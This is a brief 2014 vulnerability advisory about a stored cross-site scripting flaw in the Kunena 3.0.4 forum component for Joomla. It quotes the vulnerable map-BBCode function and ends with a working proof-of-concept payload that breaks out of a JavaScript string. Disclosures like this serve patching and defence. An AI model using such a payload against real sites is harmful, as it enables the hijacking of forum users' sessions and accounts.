Persistent XSS in Joomla::Kunena 3.0.4
26. February 2014
by Qoppa
+++ Description
"Kunena is the leading Joomla forum component. Downloaded more than 3,750,000 times in nearly 6 years."
Kunena is written in PHP. Users can post a Google Map using the following BBCode
[map]content[/map]
Kunena creates a JavaScript based on input, but doesn't decode it correctly.
+++ Analysis
Vulnerable function in \bbcode\bbcode.php (lines 1049-1116)
1049 function DoMap($bbcode, $action, $name, $default, $params, $content) {
...
1078 $document->addScriptDeclaration("
1079 // <![CDATA[
...
1097 var contentString = '<p><strong>".JText::_('COM_KUNENA_GOOGLE_MAP_NO_GEOCODE', true)." <i>".json_encode($content)."</i></strong></p>';
...
1112 // ]]>"
1113 );
Single quotes remain untouched in $content, so it's possible to break out of encapsulation.
+++ PoC Exploit
[map]'}});}});alert('XSS');(function(){{(function(){{var v='[/map]
